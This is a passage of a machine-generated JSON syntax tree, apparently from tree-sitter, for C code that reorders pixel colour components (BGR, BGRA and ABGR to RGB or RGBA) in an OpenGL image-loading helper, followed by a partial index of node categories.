1121, "children": [1123, 1124, 1125], "start_point": {"row": 156, "column": 11}, "end_point": {"row": 156, "column": 14}}, {"id": 1123, "type": "identifier", "text": "c", "parent": 1122, "children": [], "start_point": {"row": 156, "column": 11}, "end_point": {"row": 156, "column": 12}}, {"id": 1124, "type": "=", "text": "=", "parent": 1122, "children": [], "start_point": {"row": 156, "column": 12}, "end_point": {"row": 156, "column": 13}}, {"id": 1125, "type": "number_literal", "text": "0", "parent": 1122, "children": [], "start_point": {"row": 156, "column": 13}, "end_point": {"row": 156, "column": 14}}, {"id": 1126, "type": "binary_expression", "text": "c<components", "parent": 1121, "children": [1127, 1128, 1129], "start_point": {"row": 156, "column": 16}, "end_point": {"row": 156, "column": 28}}, {"id": 1127, "type": "identifier", "text": "c", "parent": 1126, "children": [], "start_point": {"row": 156, "column": 16}, "end_point": {"row": 156, "column": 17}}, {"id": 1128, "type": "<", "text": "<", "parent": 1126, "children": [], "start_point": {"row": 156, "column": 17}, "end_point": {"row": 156, "column": 18}}, {"id": 1129, "type": "identifier", "text": "components", "parent": 1126, "children": [], "start_point": {"row": 156, "column": 18}, "end_point": {"row": 156, "column": 28}}, {"id": 1130, "type": "update_expression", "text": "c++", "parent": 1121, "children": [1131, 1132], "start_point": {"row": 156, "column": 30}, "end_point": {"row": 156, "column": 33}}, {"id": 1131, "type": "identifier", "text": "c", "parent": 1130, "children": [], "start_point": {"row": 156, "column": 30}, "end_point": {"row": 156, "column": 31}}, {"id": 1132, "type": "++", "text": "++", "parent": 1130, "children": [], "start_point": {"row": 156, "column": 31}, "end_point": {"row": 156, "column": 33}}, {"id": 1133, "type": "assignment_expression", "text": "pixel[c] = pixels[(j*w+i)*components+c]", "parent": 1121, "children": [1134, 1137, 1138], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 157, "column": 47}}, {"id": 1134, "type": "subscript_expression", "text": "pixel[c]", "parent": 1133, "children": [1135, 1136], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 157, "column": 16}}, {"id": 1135, "type": "identifier", "text": "pixel", "parent": 1134, "children": [], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 157, "column": 13}}, {"id": 1136, "type": "identifier", "text": "c", "parent": 1134, "children": [], "start_point": {"row": 157, "column": 14}, "end_point": {"row": 157, "column": 15}}, {"id": 1137, "type": "=", "text": "=", "parent": 1133, "children": [], "start_point": {"row": 157, "column": 17}, "end_point": {"row": 157, "column": 18}}, {"id": 1138, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+c]", "parent": 1133, "children": [1139, 1140], "start_point": {"row": 157, "column": 19}, "end_point": {"row": 157, "column": 47}}, {"id": 1139, "type": "identifier", "text": "pixels", "parent": 1138, "children": [], "start_point": {"row": 157, "column": 19}, "end_point": {"row": 157, "column": 25}}, {"id": 1140, "type": "binary_expression", "text": "(j*w+i)*components+c", "parent": 1138, "children": [1141, 1152, 1153], "start_point": {"row": 157, "column": 26}, "end_point": {"row": 157, "column": 46}}, {"id": 1141, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 1140, "children": [1142, 1150, 1151], "start_point": {"row": 157, "column": 26}, "end_point": {"row": 157, "column": 44}}, {"id": 1142, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 1141, "children": [1143], "start_point": {"row": 157, "column": 26}, "end_point": {"row": 157, "column": 33}}, {"id": 1143, "type": "binary_expression", "text": "j*w+i", "parent": 1142, "children": [1144, 1148, 1149], "start_point": {"row": 157, "column": 27}, "end_point": {"row": 157, "column": 32}}, {"id": 1144, "type": "binary_expression", "text": "j*w", "parent": 1143, "children": [1145, 1146, 1147], "start_point": {"row": 157, "column": 27}, "end_point": {"row": 157, "column": 30}}, {"id": 1145, "type": "identifier", "text": "j", "parent": 1144, "children": [], "start_point": {"row": 157, "column": 27}, "end_point": {"row": 157, "column": 28}}, {"id": 1146, "type": "*", "text": "*", "parent": 1144, "children": [], "start_point": {"row": 157, "column": 28}, "end_point": {"row": 157, "column": 29}}, {"id": 1147, "type": "identifier", "text": "w", "parent": 1144, "children": [], "start_point": {"row": 157, "column": 29}, "end_point": {"row": 157, "column": 30}}, {"id": 1148, "type": "+", "text": "+", "parent": 1143, "children": [], "start_point": {"row": 157, "column": 30}, "end_point": {"row": 157, "column": 31}}, {"id": 1149, "type": "identifier", "text": "i", "parent": 1143, "children": [], "start_point": {"row": 157, "column": 31}, "end_point": {"row": 157, "column": 32}}, {"id": 1150, "type": "*", "text": "*", "parent": 1141, "children": [], "start_point": {"row": 157, "column": 33}, "end_point": {"row": 157, "column": 34}}, {"id": 1151, "type": "identifier", "text": "components", "parent": 1141, "children": [], "start_point": {"row": 157, "column": 34}, "end_point": {"row": 157, "column": 44}}, {"id": 1152, "type": "+", "text": "+", "parent": 1140, "children": [], "start_point": {"row": 157, "column": 44}, "end_point": {"row": 157, "column": 45}}, {"id": 1153, "type": "identifier", "text": "c", "parent": 1140, "children": [], "start_point": {"row": 157, "column": 45}, "end_point": {"row": 157, "column": 46}}, {"id": 1154, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+0] = pixel[3]", "parent": 1109, "children": [1155, 1171, 1172], "start_point": {"row": 159, "column": 6}, "end_point": {"row": 159, "column": 45}}, {"id": 1155, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+0]", "parent": 1154, "children": [1156, 1157], "start_point": {"row": 159, "column": 6}, "end_point": {"row": 159, "column": 34}}, {"id": 1156, "type": "identifier", "text": "pixels", "parent": 1155, "children": [], "start_point": {"row": 159, "column": 6}, "end_point": {"row": 159, "column": 12}}, {"id": 1157, "type": "binary_expression", "text": "(j*w+i)*components+0", "parent": 1155, "children": [1158, 1169, 1170], "start_point": {"row": 159, "column": 13}, "end_point": {"row": 159, "column": 33}}, {"id": 1158, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 1157, "children": [1159, 1167, 1168], "start_point": {"row": 159, "column": 13}, "end_point": {"row": 159, "column": 31}}, {"id": 1159, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 1158, "children": [1160], "start_point": {"row": 159, "column": 13}, "end_point": {"row": 159, "column": 20}}, {"id": 1160, "type": "binary_expression", "text": "j*w+i", "parent": 1159, "children": [1161, 1165, 1166], "start_point": {"row": 159, "column": 14}, "end_point": {"row": 159, "column": 19}}, {"id": 1161, "type": "binary_expression", "text": "j*w", "parent": 1160, "children": [1162, 1163, 1164], "start_point": {"row": 159, "column": 14}, "end_point": {"row": 159, "column": 17}}, {"id": 1162, "type": "identifier", "text": "j", "parent": 1161, "children": [], "start_point": {"row": 159, "column": 14}, "end_point": {"row": 159, "column": 15}}, {"id": 1163, "type": "*", "text": "*", "parent": 1161, "children": [], "start_point": {"row": 159, "column": 15}, "end_point": {"row": 159, "column": 16}}, {"id": 1164, "type": "identifier", "text": "w", "parent": 1161, "children": [], "start_point": {"row": 159, "column": 16}, "end_point": {"row": 159, "column": 17}}, {"id": 1165, "type": "+", "text": "+", "parent": 1160, "children": [], "start_point": {"row": 159, "column": 17}, "end_point": {"row": 159, "column": 18}}, {"id": 1166, "type": "identifier", "text": "i", "parent": 1160, "children": [], "start_point": {"row": 159, "column": 18}, "end_point": {"row": 159, "column": 19}}, {"id": 1167, "type": "*", "text": "*", "parent": 1158, "children": [], "start_point": {"row": 159, "column": 20}, "end_point": {"row": 159, "column": 21}}, {"id": 1168, "type": "identifier", "text": "components", "parent": 1158, "children": [], "start_point": {"row": 159, "column": 21}, "end_point": {"row": 159, "column": 31}}, {"id": 1169, "type": "+", "text": "+", "parent": 1157, "children": [], "start_point": {"row": 159, "column": 31}, "end_point": {"row": 159, "column": 32}}, {"id": 1170, "type": "number_literal", "text": "0", "parent": 1157, "children": [], "start_point": {"row": 159, "column": 32}, "end_point": {"row": 159, "column": 33}}, {"id": 1171, "type": "=", "text": "=", "parent": 1154, "children": [], "start_point": {"row": 159, "column": 35}, "end_point": {"row": 159, "column": 36}}, {"id": 1172, "type": "subscript_expression", "text": "pixel[3]", "parent": 1154, "children": [1173, 1174], "start_point": {"row": 159, "column": 37}, "end_point": {"row": 159, "column": 45}}, {"id": 1173, "type": "identifier", "text": "pixel", "parent": 1172, "children": [], "start_point": {"row": 159, "column": 37}, "end_point": {"row": 159, "column": 42}}, {"id": 1174, "type": "number_literal", "text": "3", "parent": 1172, "children": [], "start_point": {"row": 159, "column": 43}, "end_point": {"row": 159, "column": 44}}, {"id": 1175, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+1] = pixel[2]", "parent": 1109, "children": [1176, 1192, 1193], "start_point": {"row": 160, "column": 6}, "end_point": {"row": 160, "column": 45}}, {"id": 1176, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+1]", "parent": 1175, "children": [1177, 1178], "start_point": {"row": 160, "column": 6}, "end_point": {"row": 160, "column": 34}}, {"id": 1177, "type": "identifier", "text": "pixels", "parent": 1176, "children": [], "start_point": {"row": 160, "column": 6}, "end_point": {"row": 160, "column": 12}}, {"id": 1178, "type": "binary_expression", "text": "(j*w+i)*components+1", "parent": 1176, "children": [1179, 1190, 1191], "start_point": {"row": 160, "column": 13}, "end_point": {"row": 160, "column": 33}}, {"id": 1179, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 1178, "children": [1180, 1188, 1189], "start_point": {"row": 160, "column": 13}, "end_point": {"row": 160, "column": 31}}, {"id": 1180, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 1179, "children": [1181], "start_point": {"row": 160, "column": 13}, "end_point": {"row": 160, "column": 20}}, {"id": 1181, "type": "binary_expression", "text": "j*w+i", "parent": 1180, "children": [1182, 1186, 1187], "start_point": {"row": 160, "column": 14}, "end_point": {"row": 160, "column": 19}}, {"id": 1182, "type": "binary_expression", "text": "j*w", "parent": 1181, "children": [1183, 1184, 1185], "start_point": {"row": 160, "column": 14}, "end_point": {"row": 160, "column": 17}}, {"id": 1183, "type": "identifier", "text": "j", "parent": 1182, "children": [], "start_point": {"row": 160, "column": 14}, "end_point": {"row": 160, "column": 15}}, {"id": 1184, "type": "*", "text": "*", "parent": 1182, "children": [], "start_point": {"row": 160, "column": 15}, "end_point": {"row": 160, "column": 16}}, {"id": 1185, "type": "identifier", "text": "w", "parent": 1182, "children": [], "start_point": {"row": 160, "column": 16}, "end_point": {"row": 160, "column": 17}}, {"id": 1186, "type": "+", "text": "+", "parent": 1181, "children": [], "start_point": {"row": 160, "column": 17}, "end_point": {"row": 160, "column": 18}}, {"id": 1187, "type": "identifier", "text": "i", "parent": 1181, "children": [], "start_point": {"row": 160, "column": 18}, "end_point": {"row": 160, "column": 19}}, {"id": 1188, "type": "*", "text": "*", "parent": 1179, "children": [], "start_point": {"row": 160, "column": 20}, "end_point": {"row": 160, "column": 21}}, {"id": 1189, "type": "identifier", "text": "components", "parent": 1179, "children": [], "start_point": {"row": 160, "column": 21}, "end_point": {"row": 160, "column": 31}}, {"id": 1190, "type": "+", "text": "+", "parent": 1178, "children": [], "start_point": {"row": 160, "column": 31}, "end_point": {"row": 160, "column": 32}}, {"id": 1191, "type": "number_literal", "text": "1", "parent": 1178, "children": [], "start_point": {"row": 160, "column": 32}, "end_point": {"row": 160, "column": 33}}, {"id": 1192, "type": "=", "text": "=", "parent": 1175, "children": [], "start_point": {"row": 160, "column": 35}, "end_point": {"row": 160, "column": 36}}, {"id": 1193, "type": "subscript_expression", "text": "pixel[2]", "parent": 1175, "children": [1194, 1195], "start_point": {"row": 160, "column": 37}, "end_point": {"row": 160, "column": 45}}, {"id": 1194, "type": "identifier", "text": "pixel", "parent": 1193, "children": [], "start_point": {"row": 160, "column": 37}, "end_point": {"row": 160, "column": 42}}, {"id": 1195, "type": "number_literal", "text": "2", "parent": 1193, "children": [], "start_point": {"row": 160, "column": 43}, "end_point": {"row": 160, "column": 44}}, {"id": 1196, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+2] = pixel[1]", "parent": 1109, "children": [1197, 1213, 1214], "start_point": {"row": 161, "column": 6}, "end_point": {"row": 161, "column": 45}}, {"id": 1197, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+2]", "parent": 1196, "children": [1198, 1199], "start_point": {"row": 161, "column": 6}, "end_point": {"row": 161, "column": 34}}, {"id": 1198, "type": "identifier", "text": "pixels", "parent": 1197, "children": [], "start_point": {"row": 161, "column": 6}, "end_point": {"row": 161, "column": 12}}, {"id": 1199, "type": "binary_expression", "text": "(j*w+i)*components+2", "parent": 1197, "children": [1200, 1211, 1212], "start_point": {"row": 161, "column": 13}, "end_point": {"row": 161, "column": 33}}, {"id": 1200, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 1199, "children": [1201, 1209, 1210], "start_point": {"row": 161, "column": 13}, "end_point": {"row": 161, "column": 31}}, {"id": 1201, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 1200, "children": [1202], "start_point": {"row": 161, "column": 13}, "end_point": {"row": 161, "column": 20}}, {"id": 1202, "type": "binary_expression", "text": "j*w+i", "parent": 1201, "children": [1203, 1207, 1208], "start_point": {"row": 161, "column": 14}, "end_point": {"row": 161, "column": 19}}, {"id": 1203, "type": "binary_expression", "text": "j*w", "parent": 1202, "children": [1204, 1205, 1206], "start_point": {"row": 161, "column": 14}, "end_point": {"row": 161, "column": 17}}, {"id": 1204, "type": "identifier", "text": "j", "parent": 1203, "children": [], "start_point": {"row": 161, "column": 14}, "end_point": {"row": 161, "column": 15}}, {"id": 1205, "type": "*", "text": "*", "parent": 1203, "children": [], "start_point": {"row": 161, "column": 15}, "end_point": {"row": 161, "column": 16}}, {"id": 1206, "type": "identifier", "text": "w", "parent": 1203, "children": [], "start_point": {"row": 161, "column": 16}, "end_point": {"row": 161, "column": 17}}, {"id": 1207, "type": "+", "text": "+", "parent": 1202, "children": [], "start_point": {"row": 161, "column": 17}, "end_point": {"row": 161, "column": 18}}, {"id": 1208, "type": "identifier", "text": "i", "parent": 1202, "children": [], "start_point": {"row": 161, "column": 18}, "end_point": {"row": 161, "column": 19}}, {"id": 1209, "type": "*", "text": "*", "parent": 1200, "children": [], "start_point": {"row": 161, "column": 20}, "end_point": {"row": 161, "column": 21}}, {"id": 1210, "type": "identifier", "text": "components", "parent": 1200, "children": [], "start_point": {"row": 161, "column": 21}, "end_point": {"row": 161, "column": 31}}, {"id": 1211, "type": "+", "text": "+", "parent": 1199, "children": [], "start_point": {"row": 161, "column": 31}, "end_point": {"row": 161, "column": 32}}, {"id": 1212, "type": "number_literal", "text": "2", "parent": 1199, "children": [], "start_point": {"row": 161, "column": 32}, "end_point": {"row": 161, "column": 33}}, {"id": 1213, "type": "=", "text": "=", "parent": 1196, "children": [], "start_point": {"row": 161, "column": 35}, "end_point": {"row": 161, "column": 36}}, {"id": 1214, "type": "subscript_expression", "text": "pixel[1]", "parent": 1196, "children": [1215, 1216], "start_point": {"row": 161, "column": 37}, "end_point": {"row": 161, "column": 45}}, {"id": 1215, "type": "identifier", "text": "pixel", "parent": 1214, "children": [], "start_point": {"row": 161, "column": 37}, "end_point": {"row": 161, "column": 42}}, {"id": 1216, "type": "number_literal", "text": "1", "parent": 1214, "children": [], "start_point": {"row": 161, "column": 43}, "end_point": {"row": 161, "column": 44}}, {"id": 1217, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+3] = pixel[0]", "parent": 1109, "children": [1218, 1234, 1235], "start_point": {"row": 162, "column": 6}, "end_point": {"row": 162, "column": 45}}, {"id": 1218, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+3]", "parent": 1217, "children": [1219, 1220], "start_point": {"row": 162, "column": 6}, "end_point": {"row": 162, "column": 34}}, {"id": 1219, "type": "identifier", "text": "pixels", "parent": 1218, "children": [], "start_point": {"row": 162, "column": 6}, "end_point": {"row": 162, "column": 12}}, {"id": 1220, "type": "binary_expression", "text": "(j*w+i)*components+3", "parent": 1218, "children": [1221, 1232, 1233], "start_point": {"row": 162, "column": 13}, "end_point": {"row": 162, "column": 33}}, {"id": 1221, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 1220, "children": [1222, 1230, 1231], "start_point": {"row": 162, "column": 13}, "end_point": {"row": 162, "column": 31}}, {"id": 1222, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 1221, "children": [1223], "start_point": {"row": 162, "column": 13}, "end_point": {"row": 162, "column": 20}}, {"id": 1223, "type": "binary_expression", "text": "j*w+i", "parent": 1222, "children": [1224, 1228, 1229], "start_point": {"row": 162, "column": 14}, "end_point": {"row": 162, "column": 19}}, {"id": 1224, "type": "binary_expression", "text": "j*w", "parent": 1223, "children": [1225, 1226, 1227], "start_point": {"row": 162, "column": 14}, "end_point": {"row": 162, "column": 17}}, {"id": 1225, "type": "identifier", "text": "j", "parent": 1224, "children": [], "start_point": {"row": 162, "column": 14}, "end_point": {"row": 162, "column": 15}}, {"id": 1226, "type": "*", "text": "*", "parent": 1224, "children": [], "start_point": {"row": 162, "column": 15}, "end_point": {"row": 162, "column": 16}}, {"id": 1227, "type": "identifier", "text": "w", "parent": 1224, "children": [], "start_point": {"row": 162, "column": 16}, "end_point": {"row": 162, "column": 17}}, {"id": 1228, "type": "+", "text": "+", "parent": 1223, "children": [], "start_point": {"row": 162, "column": 17}, "end_point": {"row": 162, "column": 18}}, {"id": 1229, "type": "identifier", "text": "i", "parent": 1223, "children": [], "start_point": {"row": 162, "column": 18}, "end_point": {"row": 162, "column": 19}}, {"id": 1230, "type": "*", "text": "*", "parent": 1221, "children": [], "start_point": {"row": 162, "column": 20}, "end_point": {"row": 162, "column": 21}}, {"id": 1231, "type": "identifier", "text": "components", "parent": 1221, "children": [], "start_point": {"row": 162, "column": 21}, "end_point": {"row": 162, "column": 31}}, {"id": 1232, "type": "+", "text": "+", "parent": 1220, "children": [], "start_point": {"row": 162, "column": 31}, "end_point": {"row": 162, "column": 32}}, {"id": 1233, "type": "number_literal", "text": "3", "parent": 1220, "children": [], "start_point": {"row": 162, "column": 32}, "end_point": {"row": 162, "column": 33}}, {"id": 1234, "type": "=", "text": "=", "parent": 1217, "children": [], "start_point": {"row": 162, "column": 35}, "end_point": {"row": 162, "column": 36}}, {"id": 1235, "type": "subscript_expression", "text": "pixel[0]", "parent": 1217, "children": [1236, 1237], "start_point": {"row": 162, "column": 37}, "end_point": {"row": 162, "column": 45}}, {"id": 1236, "type": "identifier", "text": "pixel", "parent": 1235, "children": [], "start_point": {"row": 162, "column": 37}, "end_point": {"row": 162, "column": 42}}, {"id": 1237, "type": "number_literal", "text": "0", "parent": 1235, "children": [], "start_point": {"row": 162, "column": 43}, "end_point": {"row": 162, "column": 44}}, {"id": 1238, "type": "function_definition", "text": "void\ngliConvertImageToCoreFormat(gliGenericImage *image)\n{\n switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }\n}", "parent": null, "children": [1239, 1240], "start_point": {"row": 167, "column": 0}, "end_point": {"row": 184, "column": 1}}, {"id": 1239, "type": "primitive_type", "text": "void", "parent": 1238, "children": [], "start_point": {"row": 167, "column": 0}, "end_point": {"row": 167, "column": 4}}, {"id": 1240, "type": "function_declarator", "text": "gliConvertImageToCoreFormat(gliGenericImage *image)", "parent": 1238, "children": [1241, 1242], "start_point": {"row": 168, "column": 0}, "end_point": {"row": 168, "column": 51}}, {"id": 1241, "type": "identifier", "text": "gliConvertImageToCoreFormat", "parent": 1240, "children": [], "start_point": {"row": 168, "column": 0}, "end_point": {"row": 168, "column": 27}}, {"id": 1242, "type": "parameter_list", "text": "(gliGenericImage *image)", "parent": 1240, "children": [1243], "start_point": {"row": 168, "column": 27}, "end_point": {"row": 168, "column": 51}}, {"id": 1243, "type": "parameter_declaration", "text": "gliGenericImage *image", "parent": 1242, "children": [1244, 1245], "start_point": {"row": 168, "column": 28}, "end_point": {"row": 168, "column": 50}}, {"id": 1244, "type": "type_identifier", "text": "gliGenericImage", "parent": 1243, "children": [], "start_point": {"row": 168, "column": 28}, "end_point": {"row": 168, "column": 43}}, {"id": 1245, "type": "pointer_declarator", "text": "*image", "parent": 1243, "children": [1246, 1247], "start_point": {"row": 168, "column": 44}, "end_point": {"row": 168, "column": 50}}, {"id": 1246, "type": "*", "text": "*", "parent": 1245, "children": [], "start_point": {"row": 168, "column": 44}, "end_point": {"row": 168, "column": 45}}, {"id": 1247, "type": "identifier", "text": "image", "parent": 1245, "children": [], "start_point": {"row": 168, "column": 45}, "end_point": {"row": 168, "column": 50}}, {"id": 1248, "type": "switch_statement", "text": "switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }", "parent": 1238, "children": [1249, 1250], "start_point": {"row": 170, "column": 2}, "end_point": {"row": 183, "column": 3}}, {"id": 1249, "type": "switch", "text": "switch", "parent": 1248, "children": [], "start_point": {"row": 170, "column": 2}, "end_point": {"row": 170, "column": 8}}, {"id": 1250, "type": "parenthesized_expression", "text": "(image->format)", "parent": 1248, "children": [1251], "start_point": {"row": 170, "column": 9}, "end_point": {"row": 170, "column": 24}}, {"id": 1251, "type": "field_expression", "text": "image->format", "parent": 1250, "children": [1252, 1253], "start_point": {"row": 170, "column": 10}, "end_point": {"row": 170, "column": 23}}, {"id": 1252, "type": "identifier", "text": "image", "parent": 1251, "children": [], "start_point": {"row": 170, "column": 10}, "end_point": {"row": 170, "column": 15}}, {"id": 1253, "type": "field_identifier", "text": "format", "parent": 1251, "children": [], "start_point": {"row": 170, "column": 17}, "end_point": {"row": 170, "column": 23}}, {"id": 1254, "type": "case_statement", "text": "case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;", "parent": 1248, "children": [1255, 1256, 1261], "start_point": {"row": 171, "column": 2}, "end_point": {"row": 173, "column": 10}}, {"id": 1255, "type": "case", "text": "case", "parent": 1254, "children": [], "start_point": {"row": 171, "column": 2}, "end_point": {"row": 171, "column": 6}}, {"id": 1256, "type": "identifier", "text": "GL_BGR_EXT", "parent": 1254, "children": [], "start_point": {"row": 171, "column": 7}, "end_point": {"row": 171, "column": 17}}, {"id": 1257, "type": "call_expression", "text": "gliConvertBGRtoRGB(image)", "parent": 1254, "children": [1258, 1259], "start_point": {"row": 172, "column": 4}, "end_point": {"row": 172, "column": 29}}, {"id": 1258, "type": "identifier", "text": "gliConvertBGRtoRGB", "parent": 1257, "children": [], "start_point": {"row": 172, "column": 4}, "end_point": {"row": 172, "column": 22}}, {"id": 1259, "type": "argument_list", "text": "(image)", "parent": 1257, "children": [1260], "start_point": {"row": 172, "column": 22}, "end_point": {"row": 172, "column": 29}}, {"id": 1260, "type": "identifier", "text": "image", "parent": 1259, "children": [], "start_point": {"row": 172, "column": 23}, "end_point": {"row": 172, "column": 28}}, {"id": 1261, "type": "break_statement", "text": "break;", "parent": 1254, "children": [1262], "start_point": {"row": 173, "column": 4}, "end_point": {"row": 173, "column": 10}}, {"id": 1262, "type": "break", "text": "break", "parent": 1261, "children": [], "start_point": {"row": 173, "column": 4}, "end_point": {"row": 173, "column": 9}}, {"id": 1263, "type": "case_statement", "text": "case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;", "parent": 1248, "children": [1264, 1265, 1270], "start_point": {"row": 174, "column": 2}, "end_point": {"row": 176, "column": 10}}, {"id": 1264, "type": "case", "text": "case", "parent": 1263, "children": [], "start_point": {"row": 174, "column": 2}, "end_point": {"row": 174, "column": 6}}, {"id": 1265, "type": "identifier", "text": "GL_BGRA_EXT", "parent": 1263, "children": [], "start_point": {"row": 174, "column": 7}, "end_point": {"row": 174, "column": 18}}, {"id": 1266, "type": "call_expression", "text": "gliConvertBGRAtoRGBA(image)", "parent": 1263, "children": [1267, 1268], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 31}}, {"id": 1267, "type": "identifier", "text": "gliConvertBGRAtoRGBA", "parent": 1266, "children": [], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 24}}, {"id": 1268, "type": "argument_list", "text": "(image)", "parent": 1266, "children": [1269], "start_point": {"row": 175, "column": 24}, "end_point": {"row": 175, "column": 31}}, {"id": 1269, "type": "identifier", "text": "image", "parent": 1268, "children": [], "start_point": {"row": 175, "column": 25}, "end_point": {"row": 175, "column": 30}}, {"id": 1270, "type": "break_statement", "text": "break;", "parent": 1263, "children": [1271], "start_point": {"row": 176, "column": 4}, "end_point": {"row": 176, "column": 10}}, {"id": 1271, "type": "break", "text": "break", "parent": 1270, "children": [], "start_point": {"row": 176, "column": 4}, "end_point": {"row": 176, "column": 9}}, {"id": 1272, "type": "case_statement", "text": "case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;", "parent": 1248, "children": [1273, 1274, 1279], "start_point": {"row": 177, "column": 2}, "end_point": {"row": 179, "column": 10}}, {"id": 1273, "type": "case", "text": "case", "parent": 1272, "children": [], "start_point": {"row": 177, "column": 2}, "end_point": {"row": 177, "column": 6}}, {"id": 1274, "type": "identifier", "text": "GL_ABGR_EXT", "parent": 1272, "children": [], "start_point": {"row": 177, "column": 7}, "end_point": {"row": 177, "column": 18}}, {"id": 1275, "type": "call_expression", "text": "gliConvertABGRoRGBA(image)", "parent": 1272, "children": [1276, 1277], "start_point": {"row": 178, "column": 4}, "end_point": {"row": 178, "column": 30}}, {"id": 1276, "type": "identifier", "text": "gliConvertABGRoRGBA", "parent": 1275, "children": [], "start_point": {"row": 178, "column": 4}, "end_point": {"row": 178, "column": 23}}, {"id": 1277, "type": "argument_list", "text": "(image)", "parent": 1275, "children": [1278], "start_point": {"row": 178, "column": 23}, "end_point": {"row": 178, "column": 30}}, {"id": 1278, "type": "identifier", "text": "image", "parent": 1277, "children": [], "start_point": {"row": 178, "column": 24}, "end_point": {"row": 178, "column": 29}}, {"id": 1279, "type": "break_statement", "text": "break;", "parent": 1272, "children": [1280], "start_point": {"row": 179, "column": 4}, "end_point": {"row": 179, "column": 10}}, {"id": 1280, "type": "break", "text": "break", "parent": 1279, "children": [], "start_point": {"row": 179, "column": 4}, "end_point": {"row": 179, "column": 9}}, {"id": 1281, "type": "case_statement", "text": "default:\n /* Assume nothing needed. */\n break;", "parent": 1248, "children": [1282, 1283], "start_point": {"row": 180, "column": 2}, "end_point": {"row": 182, "column": 10}}, {"id": 1282, "type": "default", "text": "default", "parent": 1281, "children": [], "start_point": {"row": 180, "column": 2}, "end_point": {"row": 180, "column": 9}}, {"id": 1283, "type": "break_statement", "text": "break;", "parent": 1281, "children": [1284], "start_point": {"row": 182, "column": 4}, "end_point": {"row": 182, "column": 10}}, {"id": 1284, "type": "break", "text": "break", "parent": 1283, "children": [], "start_point": {"row": 182, "column": 4}, "end_point": {"row": 182, "column": 9}}]}, "node_categories": {"declarations": {"functions": [9, 11, 197, 199, 1029, 1031, 1238, 1240], "variables": [14, 19, 25, 30, 34, 39, 202, 207, 213, 218, 222, 227, 235, 512, 806, 1034, 1039, 1045, 1050, 1054, 1059, 1243], "classes": [], "imports": [0, 1, 3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [47, 53, 56, 59, 60, 66, 74, 82, 86, 94, 98, 106, 110, 114, 118, 120, 121, 122, 123, 124, 135, 137, 138, 139, 140, 141, 152, 156, 158, 159, 160, 161, 162, 173, 177, 179, 180, 181, 182, 183, 194, 243, 249, 255, 258, 261, 262, 269, 270, 277, 287, 291, 299, 303, 311, 315, 319, 323, 325, 326, 327, 328, 329, 340, 342, 343, 344, 345, 346, 357, 361, 363, 364, 365, 366, 367, 378, 382, 384, 385, 386, 387, 388, 399, 403, 405, 406, 407, 408, 409, 420, 428, 431, 432, 438, 439, 440, 446, 454, 459, 463, 467, 472, 475, 476, 485, 493, 497, 505, 509, 518, 522, 524, 525, 526, 527, 528, 539, 543, 545, 546, 547, 548, 549, 562, 563, 564, 565, 574, 575, 576, 580, 581, 582, 583, 591, 592, 593, 594, 595, 596, 602, 603, 604, 605, 606, 615, 616, 617, 621, 622, 623, 624, 632, 633, 634, 635, 644, 645, 646, 650, 651, 652, 653, 659, 661, 662, 663, 664, 665, 678, 680, 681, 682, 683, 684, 697, 699, 700, 701, 702, 703, 716, 718, 719, 720, 721, 722, 735, 738, 739, 745, 753, 757, 761, 766, 769, 770, 779, 787, 791, 799, 803, 812, 816, 818, 819, 820, 821, 822, 833, 837, 839, 840, 841, 842, 843, 856, 857, 858, 859, 868, 869, 870, 874, 875, 876, 877, 885, 886, 887, 888, 889, 890, 896, 897, 898, 899, 900, 909, 910, 911, 915, 916, 917, 918, 926, 927, 928, 929, 938, 939, 940, 944, 945, 946, 947, 953, 955, 956, 957, 958, 959, 972, 974, 975, 976, 977, 978, 991, 993, 994, 995, 996, 997, 1010, 1015, 1023, 1067, 1073, 1079, 1082, 1085, 1086, 1092, 1102, 1106, 1114, 1118, 1126, 1130, 1134, 1138, 1140, 1141, 1142, 1143, 1144, 1155, 1157, 1158, 1159, 1160, 1161, 1172, 1176, 1178, 1179, 1180, 1181, 1182, 1193, 1197, 1199, 1200, 1201, 1202, 1203, 1214, 1218, 1220, 1221, 1222, 1223, 1224, 1235, 1250, 1251, 1257, 1266, 1275], "assignments": [44, 50, 65, 71, 78, 90, 102, 113, 134, 155, 176, 240, 246, 252, 276, 283, 295, 307, 318, 339, 360, 381, 402, 445, 451, 462, 482, 489, 501, 517, 538, 559, 571, 588, 612, 629, 641, 658, 677, 696, 715, 744, 750, 756, 776, 783, 795, 811, 832, 853, 865, 882, 906, 923, 935, 952, 971, 